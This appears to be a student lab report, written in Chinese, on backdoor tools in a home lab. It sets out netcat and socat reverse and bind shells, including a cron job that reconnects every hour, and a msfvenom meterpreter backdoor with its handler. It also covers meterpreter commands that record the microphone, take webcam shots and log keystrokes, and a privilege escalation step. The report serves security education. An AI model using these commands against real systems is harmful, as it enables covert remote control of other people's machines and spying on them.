實驗內容
1、使用netcat獲取主機操作Shell,cron啟動
2、使用Socat獲取主機操作Shell, 任務計劃啟動
3、使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
4、使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
基礎問題回答
- 問:例舉你能想到的一個後門進入到你係統中的可能方式?
- 網頁掛馬
- 通過U盤、郵件或盜版軟體傳播
- 編譯器或作業系統中存在的
- 問:例舉你知道的後門如何啟動起來(win及linux)的方式?
- Windows:開機自啟動、修改登錄檔項、誘導使用者雙擊執行
- Linux:利用cronta將後門設為定時啟動
- 問:Meterpreter有哪些給你映像深刻的功能?
- 獲取被控主機的錄音、錄影、截圖、鍵盤輸入記錄
- 幾乎可以肆意妄為
- 問:如何發現自己有系統有沒有被安裝後門?
- 開啟防火牆,檢視開啟的埠及對應的程序
- 安裝防毒軟體,實時防護,並定期對電腦進行檢查
- 檢視任務計劃程式、開機自啟動項、登錄檔項中是否有可疑程式
常用後門工具
Netcat
Netcat是一個底層工具,進行基本的TCP UDP資料收發,主要用於除錯領域、傳輸領域甚至黑客攻擊領域。
windows 獲取 linux 的shell
1、在Windows下使用ipconfig檢視本機IP為192.168.1.239
2、使用ncat.exe程式監聽本機的5215埠ncat.exe -l -p 5215
3、在Kali環境下,使用nc 192.168.1.239 5215 -e /bin/sh
指令反向連線Windows主機的5215埠
4、成功獲得Kali的shell,可執行任何指令,如ls
linux 獲取 winsdows 的shell
1、在Kali環境中使用ifconfig檢視IP為192.168.116.128
2、使用nc指令監聽5215埠nc -l -p 5215
3、在Windows下,使用ncat.exe -e cmd.exe 192.168.116.128 5215
指令反向連線Kali主機的5215埠
4、Kali下可以看到Windows的命令提示
使用nc傳輸資料
1、Windows下使用ncat.exe -l 5215
指令監聽5215埠
2、kali使用nc 192.168.1.239 5215
指令反彈連線到Windows的5215埠
3、連線建立成功,雙方可以相互傳輸資料
使用nc傳檔案
1、Windows下監聽5215埠,並把收到的資料儲存到5215.txt中,ncat.exe -l 5215 > 5215.txt
2、kali使用nc 192.168.1.239 5215 < 5215.in
反彈連線到Windows的5215埠
3、連線建立成功,Win可以收到kali發來的檔案
Socat
- socat是ncat的增強版,它使用的格式是
socat [options] <address> <address>
,其中兩個address是必選項,而options是可選項。 - socat的基本功能就是建立兩個雙向的位元組流,資料就在其間傳輸,引數address就是代表了其中的一個方向。所謂流,代表了資料的流向,而資料則可以有許多不同的型別,命令中也就相應需要許多選項對各種不同的型別資料流進行限定與說明。
MSFmeterpreter
- 這是一個生成後門程式的平臺,把後門的基本功能(基本的連線、執行指令),擴充套件功能(如蒐集使用者資訊、安裝服務等功能),編碼模式,執行平臺,以及執行引數,全都做成零件或可調整的引數。用的時候按需要組合,就可以生成一個可執行檔案。
- 引數說明
-p
使用的payload。payload翻譯為有效載荷,就是被運輸有東西。這裡windows/meterpreter/reverse_tcp就是一段shellcode.-x
使用的可執行檔案模板,payload(shellcode)就寫入到這個可執行檔案中。-e
使用的編碼器,用於對shellcode變形,為了免殺。-i
編碼器的迭代次數。如上即使用該編碼器編碼5次。-b
badchar是payload中需要去除的字元。LHOST
是反彈回連的IPLPORT
是回連的埠-f
生成檔案的型別>
輸出到哪個檔案
實驗內容
任務一:使用netcat獲取主機操作Shell,cron啟動
這裡將wwindows作為攻擊機,kali作為被攻擊機
1、Windows中使用ncat.exe -l 5215
監聽5215埠
2、在Kali中,使用crontab -e
指令編輯一條定時任務,選擇編輯器時選擇"3"
3、在底行插入43 * * * * /bin/netcat 192.168.1.239 5215 -e /bin/sh(意為在每個小時的第43分鐘反向連線Windows的5215埠)
4、:wq
儲存退出配置即生效,可通過crontab -l
檢視
5、在系統時間到第43分時,windows獲得kali shell
任務二:使用socat獲取主機操作Shell, 任務計劃啟動
1、在Wiondws中搜索任務計劃程式,在彈出的視窗右側選擇建立任務
2、填寫任務名稱20165215
後,選擇觸發器
-新建
,設為工作站鎖定時
3、選擇新建
,再程式或指令碼中選擇socat.exe
檔案的路徑,在新增引數一欄填寫tcp-listen:5215 exec:cmd.exe,pty,stderr
,這個命令的作用是把cmd.exe繫結到埠5215,同時把cmd.exe的stderr重定向到stdout上,點選確定。
4、在列表中右鍵選中剛剛建立的任務,點選執行
5、在kali中輸入socat - tcp:192.168.1.239:5215
(IP為windows的IP),可以發現已經成功獲得一個cmd shell
任務三:使用MSF meterpreter(或其他軟體)生成可執行檔案,利用ncat或socat傳送到主機並執行獲取主機Shell
1、在kali中輸入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=5215 -f exe > 20165215_backdoor.exe
(IP為kali的IP)生成後門程式20165215_backdoor.exe
2、在Windows中使用ncat.exe -lv 5215 > 20165215_backdoor.exe
使被控主機就進入接收檔案模式,其中-lv
是顯示當前的連線狀態
3、kali中輸入nc 192.168.1.239 5215 < 20165215_backdoor.exe
(此處的IP為Windows的IP)將生成的後門程式傳送到Windows主機上
4、在kali中新開啟一個終端,使用msfconsole
進入msf控制檯,設定各項引數,執行監聽
5、輸入use exploit/multi/handler
使用監聽模組,設定payload
6、輸入set payload windows/meterpreter/reverse_tcp
,使用和生成後門程式時相同的payload
7、輸入set LHOST 192.168.116.128
(此處是Kali的IP),和生成後門程式時指定的IP相同
8、輸入set LPORT 5215
,同樣要使用相同的埠
9、輸入show options
進行檢視,可以看到相應的ip地址和埠號已經變成我們所設定的
10、輸入exploit
開始監聽
11、在windows端執行後門程式20165215_backdoor.exe
12、此時kali獲得Windows主機的連線,並且得到了遠端控制的shell
任務四:使用meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權
重複任務三的操作直至exploit
1、使用record_mic
獲取主機音訊
2、使用webcam_snap
獲取主機攝像頭
3、使用screenshot
進行截圖
4、使用keyscan_start
指令開始記錄擊鍵的過程,使用keyscan_dump
指令讀取擊鍵的記錄
5、使用getuid
指令檢視當前使用者,使用getsystem
指令進行提權
實驗過程中遇到的問題
- 執行
20165215_backdoor.exe
程式時出現如下錯誤:
- 解決方法:關閉防毒軟體和防火牆後重新執行
實驗總結與體會
這次的實驗內容很有趣,使我們對後門的瞭解更加深入,也更深切地體會到netcat、socat和MSFmeterpreter等後門工具的強大。懂得攻擊方法後,在平常使用中,可以很好地提高我們的防範意識,比如我早就機智地將攝像頭貼上了小圖示~